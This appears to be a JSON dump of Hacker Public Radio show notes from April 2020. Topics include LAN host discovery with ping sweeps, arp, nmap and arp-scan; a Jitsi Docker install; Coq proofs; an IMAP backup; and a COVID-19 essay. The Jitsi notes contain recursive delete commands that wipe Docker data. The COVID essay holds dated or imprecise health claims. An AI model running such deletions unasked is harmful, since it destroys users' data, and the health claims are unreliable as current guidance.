                                                            \n\n

                                                            Have a play with WireShark to see what is actually going on on your network. There is a good step by step walk through on Wireshark/Arp on wikiversity.

                                                            \n\n

                                                            All RaspberryPi computers have an Ethernet MAC address starting with b8:27:eb or dc:a6:32. So if your computer and the new pi are on the same network you can look for new MAC addresses starting with b8:27:eb or dc:a6:32.

                                                            \n\n

                                                            Foiled by the Switch

                                                            \n\n

                                                            All is not plain sailing as most modern LAN's use switches to split up the broadcast domain.

                                                            \n\n
                                                            \nSwitches act as buffers, receiving and analyzing the frames from each connected network segment. Frames destined for nodes connected to the originating segment are not forwarded by the switch. Frames destined for a specific node on a different segment are sent only to that segment. Only broadcast frames are forwarded to all other segments. This reduces unnecessary traffic and collisions.\n
                                                            \n\n

                                                            What this means is that although all your computers may be on one big IP network, the devices may be connected to different switches. For example a WiFi Router downstairs, a Cabled Switch in the back room, and a network extender in the attic. All are filtering out unnecessary traffic. While that is a good thing, it does mean that it may not ever see the traffic from the new Pi.

                                                            \n\n

                                                            If we try and contact each and every IP Address on the network, that forces ARP \"Who has?\" traffic, and the answers that come back will be added to the arp table. There are a few ways to force this discovery.

                                                            \n\n

                                                            Discovery by ping

                                                            \n\n

                                                            One way to generate ARP traffic is to use the ping utility.

                                                            \n\n
                                                            \nPing measures the round-trip time for messages sent from the originating host to a destination computer that are echoed back to the source. The name comes from active sonar terminology that sends a pulse of sound and listens for the echo to detect objects under water.\n
                                                            \n\n

                                                            To ping an IP Address, just type ping 192.168.1.1. That will send out a continuous ping which you can stop by pressing and holding the ctrl key and then pressing the letter c.

                                                            \n\n
                                                            $ ping 192.168.1.1\nPING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.\n64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=0.547 ms\n64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=0.493 ms\n64 bytes from 192.168.1.1: icmp_seq=3 ttl=63 time=0.422 ms\n64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=0.466 ms\n^C\n--- 192.168.1.1 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3105ms\nrtt min/avg/max/mdev = 0.422/0.482/0.547/0.045 m\n
                                                            \n\n

                                                            We don't actually care about the output, as the point here is to generate some traffic to see who is awake. So we can redirect output and errors to /dev/null. So a good command to do this would be:

                                                            \n\n
                                                            ping -n -c 1 -W 1 192.168.1.1 >/dev/null 2>&1 &
                                                            \n\n

                                                            The options used are to limit the traffic and wait time as much as possible:

                                                            \n\n
                                                            -n Numeric output only.  No attempt will be made to lookup symbolic names for host addresses.\n-c count. Stop after sending count ECHO_REQUEST packets. With deadline option, ping waits for count ECHO_REPLY packets, until the timeout expires.\n-W timeout. Time to wait for a response, in seconds. The option affects only timeout in absence of any responses, otherwise ping waits for two RTTs.\n
                                                            \n\n

                                                            In this solution we will try and ping every host on the network. It would be a bit tedious to do each one by one, so we will make a script to do this for us. It's a very safe bet that your home network will have a private IP range of 192.168.???.0 to 192.168.???.255. This is not a safe assumption in an Office Environment but we can deal with that later.

                                                            \n\n

                                                            So we will try and find the base part of the subnet 192.168.1.1 which will be 192.168.1 and then we will ping each address in turn.

                                                            \n\n
                                                            base=$( ip route show | awk -F '\\\\.|/| ' '/default/ {print $3"."$4"."$5}' )\nfor node in {1..254}\ndo\n( ping -n -c 1 -W 1 ${base}.${node} & )\ndone\n
                                                            \n\n

                                                            I'm assigning the base variable the first three parts of the IP Address and then I am cycling through all possible addresses sending out a ping (a sort of hello message) to each. By wrapping the whole thing in () we can fork each to run at the same time.

                                                            \n\n

                                                            This will force some traffic between my computer and every computer on the network, which will fill up the arp table on my pc.

                                                            \n\n
                                                            # arp -n\nAddress                  HWtype  HWaddress           Flags Mask            Iface\n192.168.1.2              ether   00:11:22:33:44:55   C                     eno1\n192.168.1.1              ether   00:aa:bb:cc:dd:ee   C                     eno1\n192.168.1.10             ether   11:11:11:11:11:11   C                     eno1\n192.168.1.25             ether   22:22:22:22:22:22   C                     eno1\n192.168.1.3              ether   33:22:22:22:22:22   C                     eno1\n192.168.1.5              ether   b8:27:eb:11:11:11   C                     eno1\n
                                                            \n\n

                                                            And now we find all the computers that are on, and responding to pings on the network. We can see that there is one that starts with b8:27:eb|dc:a6:32, and it has an IP Address of 192.168.1.5.

                                                            \n\n
                                                            # arp -n | grep -Ei 'b8:27:eb|dc:a6:32' | awk '{print $1}'\n192.168.1.5\n
                                                            \n\n

                                                            Putting it all together

                                                            \n\n
                                                            base=$( ip route show | awk -F '\\\\.|/| ' '/default/ {print $3"."$4"."$5}' )\nfor node in {1..254}\ndo\n  (ping -n -c 1 -W 1 ${base}.${node} >/dev/null 2>&1 &)\ndone\narp -n | grep -Ei 'b8:27:eb|dc:a6:32' | awk '{print $1}'\n
                                                            \n\n

                                                            Discovery by nmap

                                                            \n\n

                                                            You should have permission in writing from your network administrator before you proceed with these steps.

                                                            \n\n

                                                            Here I am going to use some of the commands above together with the tools nmap and ipcalc to locate and scan the network. This has the advantage of dealing with more exotic subnet masks.

                                                            \n\n

                                                            Find the default interface

                                                            \n\n
                                                            # route -n\nKernel IP routing table\nDestination     Gateway         Genmask         Flags Metric Ref    Use Iface\n0.0.0.0         192.168.1.254   0.0.0.0         UG    100    0        0 eno1\n....\n\n# route -n | grep -E '^0.0.0.0' | awk '{print $8}'\neno1\n
                                                            \n\n

                                                            Find the ip and subnetmask for the default interface

                                                            \n
                                                            # ifconfig eno1 | grep 'inet '\ninet 192.168.1.1  netmask 255.255.255.0  broadcast 192.168.1.255\n\n# ifconfig eno1 | grep 'inet ' | awk '{print $2"/"$4}'\n192.168.1.1/255.255.255.0\n
                                                            \n\n

                                                            Get the network from ipcalc

                                                            \n\n
                                                            # ipcalc 192.168.1.1/255.255.255.0\nAddress:        192.168.1.1\nNetwork:        192.168.1.0/24\nNetmask:        255.255.255.0 = 24\nBroadcast:      192.168.1.255\n\nAddress space:  Private Use\nAddress class:  Class C\nHostMin:        192.168.1.1\nHostMax:        192.168.1.254\nHosts/Net:      254\n\n# ipcalc 192.168.1.4/255.255.255.0 | grep 'Network' | awk '{print $NF}'\n192.168.1.0/24\n
                                                            \n

                                                            Now call nmap to give the ip address and MAC address

                                                            \n
                                                            # nmap -sn 192.168.1.0/24\nStarting Nmap 7.40 ( https://nmap.org ) at 2017-07-05 20:57 CEST\nNmap scan report for 192.168.1.2\nHost is up (0.0012s latency).\nMAC Address: 00:11:22:33:44:55 (Acme industries)\nNmap scan report for 192.168.1.5\nMAC Address: b8:27:eb:11:11:11 (Raspberry Pi Foundation)\nNmap scan report for local.lan (192.168.1.254)\nHost is up.\nNmap done: 256 IP addresses (2 hosts up) scanned in 3.51 seconds\n\n\n-sn (No port scan) This option tells Nmap not to do a port scan after host discovery, and only print out the available hosts that responded to the host discovery probes. This is often known as a “ping scan”, but you can also request that traceroute and NSE host scripts be run. In previous releases of Nmap, -sn was known as -sP.\n
                                                            \n\n

                                                            Discovery by arp-scan

                                                            \n\n

                                                            By far the easiest way to do this is using the dedicated tool called arp-scan, (Man Page)

                                                            \n\n
                                                            # arp-scan --interface eno1 --localnet --numeric --ignoredups\nInterface: eno1, type: EN10MB, MAC: 20:47:47:ca:24:a6, IPv4: 192.168.10.14\nStarting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)\n192.168.1.2     00:11:22:33:44:55       Acme industries\n192.168.1.5     dc:a6:32:22:22:22       Raspberry Pi Trading Ltd\n192.168.1.233   b8:27:eb:11:11:11       Raspberry Pi Foundation\n192.168.1.254   e4:95:6e:00:00:00       IEEE Registration Authority\n\n12 packets received by filter, 0 packets dropped by kernel\nEnding arp-scan 1.9.7: 256 hosts scanned in 1.939 seconds (132.03 hosts/sec). 12 responded\n
                                                            \n\n

                                                            Whichever option you chose I hope this helps you become more familiar with your network and the way it works.

                                                            \n","hostid":30,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"arp, ethernet, ip address, dhcp, wireshark, nmap, ping, route, router, arp-scan, wikiversity","version":0,"downloads":0,"valid":1}, {"id":3053,"date":"2020-04-15","title":"AudioBookClub 17 - Blood Witness","duration":9328,"summary":"Straight out of the Freezer, the HPR Audiobook Club reviews Blood Witness by David Hitt","notes":"

                                                            In this episode the HPR Audiobook Club discusses the audiobook Blood Witness by David Hitt

                                                            \n
                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                            \n
                                                              \n
                                                            • This book may or may not be offensive to some. We discuss.
                                                            • \n
                                                            • Audio quality was generally good, very few double reads.
                                                            • \n
                                                            • Thaj is annoyed by the transition sound.
                                                            • \n
                                                            • We generally enjoyed the theme music.
                                                            • \n
                                                            • We discuss the characters that we found the most interesting.
                                                            • \n
                                                            • Lyle apologizes for being unintentionally offensive.
                                                            • \n
                                                            • How do vampires work in this book anyways ?
                                                            • \n
                                                            \n

                                                            Beverage Reviews

                                                            \n
                                                            \n

                                                            As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode

                                                            \n\n

                                                            Things We talked about

                                                            \n
                                                            \n
                                                              \n
                                                            • Pokey thinks the ending is not strong.
                                                            • \n
                                                            • He also finds some plot holes.
                                                            • \n
                                                            • There is a big door for a sequel.
                                                            • \n
                                                            • The logistics of becoming a vampire.
                                                            • \n
                                                            • Why \"Twilight\" sucks.
                                                            • \n
                                                            • How the characters react to becoming a vampire.
                                                            • \n
                                                            • The book wasn’t as graphic as we anticipated.
                                                            • \n
                                                            • We introduce… OneFiftyOneFifty!
                                                            • \n
                                                            • Fire!!!
                                                            • \n
                                                            • Sparks vs. allsparks
                                                            • \n
                                                            • Link in the shownotes…or not.
                                                            • \n
                                                            • Do you need a \"good person\" to cheer on in a story to enjoy it?
                                                            • \n
                                                            • Edict Zero:FIS
                                                            • \n
                                                            • The Lab Rats - Devil’s Train
                                                            • \n
                                                            • https://monsterjavaguns.com/
                                                            • \n
                                                            • OK, so we gave up on the book and just talked about games.
                                                            • \n
                                                            \n

                                                            Our Next Audiobook

                                                            \n
                                                            \n

                                                            Star Trek: The Continuing Mission

                                                            \n

                                                            The Next Audiobook Club Recording

                                                            \n
                                                            \n

                                                            Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new episodes with listener participation.

                                                            \n

                                                            Further Recommendations

                                                            \n
                                                            \n\n

                                                            Feedback

                                                            \n
                                                            \n

                                                            Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you’ll consider joining us next time we record a new episode. Please leave a few words in the episode’s comment section.

                                                            \n

                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            Sincerely, The HPR Audiobook Club

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n

                                                            Our Audio

                                                            \n
                                                            \n

                                                            This episode was processed using Audacity. We’ve been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it’s not good at making everyone’s voice the same volume. We’re pretty happy with the way this month’s show turned out, so we’d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            We use the \"Truncate Silence\" effect with it’s default settings to minimize the silence between people speaking. When used with it’s default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                            Threshold: -30db\nNoise Floor: -50db\nRatio: 3:1\nAttack Time: 0.2sec\nDecay Time: 1.0 sec
                                                            \n

                                                            \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.

                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file’s metadata.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"HPR Audiobook Club,Audiobooks,Horror","version":0,"downloads":0,"valid":1}, {"id":3054,"date":"2020-04-16","title":"Coronavirus Thoughts","duration":1101,"summary":"Where we are with this pandemic, and how should we respond.","notes":"

                                                            This is an attempt on my part to pull together what we know about the Coronavirus, and what measures we can take. It emphasizes the importance of social distancing, and evaluates our prospects for conquering the disease. https://www.palain.com/?page_id=731

                                                            \n\n\n
                                                            \nShow notes added by Ken as they are released under a Creative Commons Attribution-ShareAlike 4.0 International License. \n\n

                                                            \n Well, since I am sitting at home maintaining a “social distance” I thought I would put down some thoughts about this pandemic and how we will be affected. But a disclaimer to be completely clear: I am not a doctor or a research scientist. I am retired, but I was once a college professor teaching \n \n Statistics\n \n and \n \n Research Methods\n \n . I think this helps me in some way to interpret the information I receive, but when I want authoritative information I look to real doctors, the CDC, and qualified researchers. If you want to know more about what I mean by qualified researchers, you might want to check out my series on interpreting studies:\n

                                                            \n\n

                                                            \n And if you prefer audio to reading, you can download the audio versions at Hacker Public Radio:\n

                                                            \n\n

                                                            \n So, with the preliminaries out of the way, what do we know? We know that this is a virus of a type called coronavirus, which makes it part of the family of viruses that include the common cold, SARS, and MERS. What distinguishes this new virus, technically called SARS-CoV2 (though I usually just call it covid-19, like most reports do) is that it is highly infectious and highly virulent. Highly infectious means it is easily passed from one person to another. Highly virulent means that it can cause death easily. It has been compared in this respect to the 1918 Flu pandemic, which we estimate infected 500 million people worldwide (about 1/3 of the population at that time) and killed at least 20 million to 50 million people, and perhaps more. Note that assigning a cause of death is not a precise science, and medical record keeping in many parts of the world was sketchy at best.\n

                                                            \n

                                                            \n What Can Help?\n

                                                            \n

                                                            \n The ultimate answer to this would be a vaccine. Thankfully, the anti-vaxxers have crawled back under whatever rocks they live under for the time being, but a vaccine is not the perfect answer right now. The good news is that coronavirus appears to be one that does not mutate a lot, which means a vaccine is likely to be more effective than the flu vaccine. Influenza virus changes every year and that makes it a bit of guesswork to figure out. \n \n Scientists are working on a vaccine right now in a crash program\n \n , and again there is some good news on that front. First, Chinese scientists were able to DNA sequence the virus pretty quickly. They found that this virus shares 80-90% of its DNA with SARS, which is why it is named SARS-CoV2. Unfortunately, we don’t have a SARS vaccine because that outbreak died off before work was completed, but the work that was done is something we can build on. But in general, most researchers have said that it will take as much as 18 months even with a crash program. \n

                                                            \n

                                                            \n Usually these take much longer. First you do animal studies, both for safety and for efficacy. For example, one of the early candidates for a SARS vaccine was causing harm to the animals who received it, though they think that problem has now been solved. If the animal trials are promising, you can move on to human trials Stage 1 is to test with a small number of healthy volunteers, looking specifically to test safety. You don’t want to administer a vaccine that kill everyone, or even any significant number of people. If the candidate passes that test, Stage 2 is to administer the vaccine to a few hundred people in an area where the disease is rampant. If it looks like it is working, and no safety issues have arisen, a final trial can involve several thousand people. If it passes that, it can be approved for medical use and move into production. And that adds even more delays, since producing vaccine in large quantities takes a long time. According to Ronald Klain, Obama Administration’s Ebola Czar:\n

                                                            \n
                                                            \n

                                                            \n Developing and testing the vaccine — hard as it is — isn’t the hardest part. Manufacturing hundreds of millions of doses — and getting people to take the vaccine — will be harder and take longer.\n

                                                            \n \n \n https://s2.washingtonpost.com/camp-rw/?e=endpbG5pa0B6d2lsbmlrLmNvbQ%3D%3D&s=5e8b05f4fe1ff6038cf6a56a&linknum=0&linktot=79\n \n \n
                                                            \n

                                                            \n Now, this process can be accelerated to some degree, but not by as much as you might think. Doing the research to find a candidate that might work will take time, and there is no short cut. That is why researchers say a crash program might deliver something in 18 months, as opposed to the decade or more many vaccines require. Sometimes when these studies are done, you get quick results that can lead to dropping some steps. For example, if you have a test group and a control group, and the test group recovers quickly while the control group is dying, any ethical researcher will stop the trial and give the remedy to everyone who needs it. But you are dealing with probabilities in this, and most people are not comfortable with that. They want yes or no answers, and sadly life does not give that all the time. If you are responsible for that decision, if anything goes wrong you will get all of the blame. I’m glad I don’t have to make that decision, though also apprehensive that the people who do make that decision may not be sane adults.\n

                                                            \n

                                                            \n OK, if you we wait for the vaccine, what about medicines to cure the infection? Again, there is work being done here. Several different approaches are being studied. One which we know can work is called \n \n Convalescent Plasma\n \n (aka Convalescent Blood). This takes plasma from people who have recovered from the disease, and gives it intravenously to someone seriously ill. It is an old approach, predating vaccines, but it does work. The transfusion of the plasma contains antibodies made by the person who recovered, and those antibodies can help someone with the disease. But the obvious problem is that it does not scale very well when new cases keep increasing. Other approaches are using drugs developed for different illnesses, in the hope that they are sufficiently similar to covid-19 so that the medication would be effective. This is good since those medications have already passed all of the safety tests, but we just don’t know enough right now. Some reports suggest HIV drugs can help, other reports say they don’t. And so this may bear fruit, but it may be a while yet. The medicine promoted by Donald Trump, hydroxychloroquine, has not been found effective in any good research, and should not be counted on as a valid cure.\n

                                                            \n

                                                            \n And that brings us back to the things we know are effective at this point, which is preventing people from passing on the virus by \n \n social distancing\n \n , i.e. quarantine, and massive testing. If people stay home and do not interact with other people, they cannot pass the disease along and the outbreak will eventually die off. This will work if done properly. To see this, I will use an example I pulled from Steve Mirsky of the \n \n Scientific American Podcast\n \n , which requires less than a minute of spreadsheet work. This uses the reproduction factor R0, which is the average number of people who get infected by each person with the virus.\n

                                                            \n
                                                            \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            \n Round\n \n R0=1.3\n \n R0=2.5\n
                                                            \n 1\n \n 1.3\n \n 2.5\n
                                                            \n 2\n \n 1.7\n \n 6.3\n
                                                            \n 3\n \n 2.2\n \n 15.6\n
                                                            \n 4\n \n 2.9\n \n 39.1\n
                                                            \n 5\n \n 3.7\n \n 97.7\n
                                                            \n 6\n \n 4.8\n \n 244.1\n
                                                            \n 7\n \n 6.3\n \n 610.4\n
                                                            \n 8\n \n 8.2\n \n 1525.9\n
                                                            \n 9\n \n 10.6\n \n 3814.7\n
                                                            \n 10\n \n 13.8\n \n 9536.7\n
                                                            \n
                                                            \n How the reproduction factor affects the spread\n
                                                            \n
                                                            \n

                                                            \n As we can see, with a factor of R0=1.3, which means each person infects on average 1.3 others, after ten rounds of infection it has only spread to 14 other people. But with R0=2.5, which doesn’t seem that much different, ten rounds means 9,536 people have the disease. Now, there are two primary factors affecting R0. One is the inherent infectiousness of the virus, which is high and out of our control. The other factor is how many people each person interacts with, and that is what we are trying to reduce through social distancing.\n

                                                            \n

                                                            \n Testing is still important, even at this stage, because it does several good things. First, it helps with the allocation of resources if we know exactly where the worst spots are. Second, it saves time and equipment in hospitals if we know exactly who is sick. Third, this gets us data we need to plan for future outbreaks. This pandemic is not the last one we will face, and this one won’t be over soon either. We need to know everything we can about how it spreads. And finally, we need a robust testing regime in place before we can “safely” start to resume our lives. \n

                                                            \n
                                                            \n

                                                            \n There’s also the fact that, eventually, we’re going to want to go back outside again. As the current protocols start to relax, \n \n a second wave of infections may arise,\n \n  especially if we don’t have a good grasp on where and how many cases we have in the U.S., said Dr. Eli Perencevich, a professor of medicine and epidemiology at the University of Iowa.\n

                                                            \n

                                                            \n “We can’t stay in social distancing forever,” Perencevich said. “So we need to ramp up testing quickly.”\n

                                                            \n \n \n https://fivethirtyeight.com/features/why-we-still-need-to-test-widely-for-coronavirus/\n \n \n
                                                            \n

                                                            \n So, the bottom line is that a vaccine is most likely 18 months away, medicines may be months away, and right now the best thing we can do as individuals is isolate.\n

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Coronavirus, COVID-19","version":0,"downloads":0,"valid":1}, {"id":3055,"date":"2020-04-17","title":"Advice to new Fediverse administrators and developers","duration":754,"summary":"An experienced admin for a Mastodon Instance at a major Fediverse developer offers some tips","notes":"

                                                            Framasoft is a company that develops for PeerTube and Mobilizon, and also hosts a Mastodon instance. The speaker is the sysadmin for the Mastodon instance gives his tips based on his experience at this non-profit company. https://www.zwilnik.com/?page_id=1098

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub","version":0,"downloads":0,"valid":1}, {"id":3056,"date":"2020-04-20","title":"Jitsi","duration":764,"summary":"Jitsi is an open-source multiplatform videoconferencing ","notes":"

                                                            Jitsi is a collection of free and open-source multiplatform voice, videoconferencing and instant messaging applications for the web platform, Windows, Linux, Mac OS X and Android

                                                            \n

                                                            Jitsi          (Editor's Note: show notes amended 2020-06-13 from comment)

                                                            \n
                                                            systemctl stop docker\n\nrm -Rf /var/lib/docker\nrm -Rf ~/.jitsi-meet-cfg\n\n# change docker-data to your path you want to put images in\nmount --rbind /media/moredata/docker-data /var/lib/docker\n\napt-get remove --purge install docker-ce docker-ce-cli containerd.io\napt-get install docker-ce docker-ce-cli containerd.io\n\ncurl -L "https://github.com/docker/compose/releases/download/1.23.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose\nchmod +x /usr/local/bin/docker-compose\n\ngit clone https://github.com/jitsi/docker-jitsi-meet && cd docker-jitsi-meet\n\nsystemctl restart docker\n\ncp env.example .env\nmkdir -p ~/.jitsi-meet-cfg/{web/letsencrypt,transcripts,prosody,jicofo,jvb}\n\ndocker-compose --log-level DEBUG up -d --force-recreate --remove-orphans\n\ntail -f `find /var/lib/docker/containers -iname "*.log" `\n\ndocker container ls\n\ndocker exec -it d4c89a799fd7 bash\n\n# side that will be controlled needs to run\nhttps://github.com/jitsi/jitsi-meet-electron/releases/latest
                                                            \n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux,debian,computers,software,internet,Jitsi,video,conferencing,open-source","version":0,"downloads":0,"valid":1}, {"id":3057,"date":"2020-04-21","title":"Formal verification with Coq","duration":1271,"summary":"Tuula talks about formally verifying code","notes":"

                                                            Coq is interactive theorem prover, which comes with its own programming language Gallina.

                                                            \n

                                                            If we wanted to write function that calculates resulting blood type based on two gene alleles, we could do it as following.

                                                            \n

                                                            Start by defining types that represents alleles and resulting blood type:

                                                            \n
                                                            Inductive BloodTypeAllele : Type :=\n  | BloodTypeA\n  | BloodTypeB\n  | BloodTypeO.\n\nInductive BloodType : Type :=\n  | TypeA\n  | TypeB\n  | TypeAB\n  | TypeO.
                                                            \n

                                                            Mapping between them is defined as follows:

                                                            \n
                                                            Definition bloodType (a b : BloodTypeAllele) : BloodType :=\n  match a, b with\n  | BloodTypeA, BloodTypeA => TypeA\n  | BloodTypeA, BloodTypeO => TypeA\n  | BloodTypeA, BloodTypeB => TypeAB\n  | BloodTypeB, BloodTypeB => TypeB\n  | BloodTypeB, BloodTypeA => TypeAB\n  | BloodTypeB, BloodTypeO => TypeB\n  | BloodTypeO, BloodTypeA => TypeA\n  | BloodTypeO, BloodTypeB => TypeB\n  | BloodTypeO, BloodTypeO => TypeO\n  end.
                                                            \n

                                                            Notice that the only way of getting TypeO blood is for both alleles to be BloodTypeO.

                                                            \n

                                                            We can state theorems about the code:

                                                            \n
                                                            Theorem double_O_results_O_type :\n  bloodType BloodTypeO BloodTypeO = TypeO.\nProof.\n  reflexivity.\n  Qed.
                                                            \n

                                                            double_O_results_O_type states that bloodType BloodTypeO BloodTypeO will have value of TypeO. There’s also attached proof for this theorem.

                                                            \n

                                                            Second theorem is longer:

                                                            \n
                                                            Theorem not_double_O_does_not_result_O_type :\n  forall (b1 b2 : BloodTypeAllele),\n  b1 <> BloodTypeO \\/ b2 <> BloodTypeO ->\n  bloodType b1 b2 <> TypeO.\nProof.\n  intros.\n  destruct b1.\n  - destruct b2.\n    + discriminate.\n    + discriminate.\n    + discriminate.\n  - destruct b2.\n    + discriminate.\n    + discriminate.\n    + discriminate.\n  - destruct b2.\n    + discriminate.\n    + discriminate.\n    + destruct H.\n      * simpl. contradiction.\n      * simpl. contradiction.\nQed.
                                                            \n

                                                            It states that if bloodType is applied with anything else than two BloodTypeO, the result will not be TypeO. Proof for this is longer. It goes through each and every combination of parameters and proves that the result isn’t TypeO. Mathematician could write this as: ∀ b1 b2, b1 ≠ BloodTypeO ∨ b2 ≠ BloodTypeO → bloodType b1 b2 ≠ TypeO.

                                                            \n

                                                            If code above is in module called Genes, we can add following at the end to instruct compiler to emit Haskell code:

                                                            \n
                                                            Extraction Language Haskell.\nExtraction Genes.
                                                            \n

                                                            Resulting code is as follows:

                                                            \n
                                                            data BloodTypeAllele =\n   BloodTypeA\n | BloodTypeB\n | BloodTypeO\n\ndata BloodType =\n   TypeA\n | TypeB\n | TypeAB\n | TypeO\n\nbloodType :: BloodTypeAllele -> BloodTypeAllele -> BloodType\nbloodType a b =\n  case a of {\n   BloodTypeA -> case b of {\n                  BloodTypeB -> TypeAB;\n                  _ -> TypeA};\n   BloodTypeB -> case b of {\n                  BloodTypeA -> TypeAB;\n                  _ -> TypeB};\n   BloodTypeO ->\n    case b of {\n     BloodTypeA -> TypeA;\n     BloodTypeB -> TypeB;\n     BloodTypeO -> TypeO}}
                                                            \n

                                                            Now we have Haskell code that started in Coq, has two properties formally verified and is ready to be integrated with rest of the system.

                                                            \n

                                                            Further reading:

                                                            \n\n","hostid":364,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Coq, Haskell, mathematics","version":0,"downloads":0,"valid":1}, {"id":3058,"date":"2020-04-22","title":"The COVID-19 Work From Home Stream - Day 3","duration":6065,"summary":"A few HPR characters decide to spend some of their social distancing time being social","notes":"

                                                            Friday 2020-03-02

                                                            \n
                                                              \n
                                                            • A secret message left for Thaj (for the record it pronounced like the Taj in Taj Mahal)
                                                            • \n
                                                            • How do you use a bidet?
                                                            • \n
                                                            • The different ways to organize work from home
                                                            • \n
                                                            • Kids and working from home
                                                            • \n
                                                            • Jon's video
                                                            • \n
                                                            • LBRY
                                                            • \n
                                                            • Driving is not fun
                                                            • \n
                                                            • More ffmpeg talk
                                                            • \n
                                                            • Bidets come up again
                                                            • \n
                                                            • #oggcastplanet on Freenode
                                                            • \n
                                                            • Programming languages
                                                            • \n
                                                            • By the way...I run Arch
                                                            • \n
                                                            • Kevin Wisher and Thaj talk shop
                                                            • \n
                                                            • What is that accent?
                                                            • \n
                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Bidets, ffmpeg, driving, Programming, Arch Linux, OggcastPlanet, education","version":0,"downloads":0,"valid":1}, {"id":3059,"date":"2020-04-23","title":"A quick intro to Snapcast","duration":293,"summary":"A brief overview of Snapcast, an open source multi-room audio streaming system.","notes":"

                                                            Relevant links:

                                                            \n","hostid":386,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"opensource, selfhosted","version":0,"downloads":0,"valid":1}, {"id":3060,"date":"2020-04-24","title":"Running a local imap server","duration":360,"summary":"Ken installs courier-imap locally to have a local backup of his mail.","notes":"

                                                            Setting up a local imap server

                                                            \n

                                                            To install a local imap daemon that will only listen to localhost connections, made via ssh tunneling. This is for use as a local backup of your imap files, or for keeping a remote backup somewhere.

                                                            \n

                                                            This is not a mail delivery solution but rather a way to keep a backup of your email using to a MailDir directory that you can access using your email client. As each message is stored in its own file, you can also use normal tools like find|sed|awk|grep to find messages.

                                                            \n

                                                            This setup can be installed locally or remotely on, for example, a raspberry pi. In that case you can enable a portforwarding rule in ~/.ssh/config to include something like LocalForward 127.0.0.1:2143 127.0.0.1:143

                                                            \n

                                                            Install using aptitude install courier-imap courier-authdaemon

                                                            \n

                                                            You can check the status using systemctl status courier-imap.service courier-authdaemon.service

                                                            \n

                                                            Edit the file /etc/courier/imapd and modify the following settings:

                                                            \n

                                                            Address to listen on, can be set to a single IP address.

                                                            \n
                                                                < ADDRESS=0\n    > ADDRESS=127.0.0.1\n
                                                            \n

                                                            Maximum number of IMAP servers started

                                                            \n
                                                                < MAXDAEMONS=40\n    > MAXDAEMONS=80\n
                                                            \n

                                                            Maximum number of connections to accept from the same IP address

                                                            \n
                                                                < MAXPERIP=20\n    > MAXPERIP=40\n
                                                            \n

                                                            The following setting is optional, and causes messages from the given folder to be automatically deleted after the given number of days.

                                                            \n
                                                                < IMAP_EMPTYTRASH=Trash:7\n    > #IMAP_EMPTYTRASH=Trash:7\n
                                                            \n

                                                            Change the directory name of the maildir directory.

                                                            \n
                                                                < MAILDIRPATH=Maildir\n    > MAILDIRPATH=/home/pi/MailDir\n
                                                            \n

                                                            Then restart the service using systemctl restart courier-imap.service courier-authdaemon.service.

                                                            \n

                                                            When I did this I got a strange error about but installing the package gamin fixed it. Which is a Library providing the FAM File Alteration Monitor API.

                                                            \n
                                                              Filesystem notification initialization error -- contact your mail\n  administrator (check for configuration errors with the FAM/Gamin library)\n
                                                            \n

                                                            Links

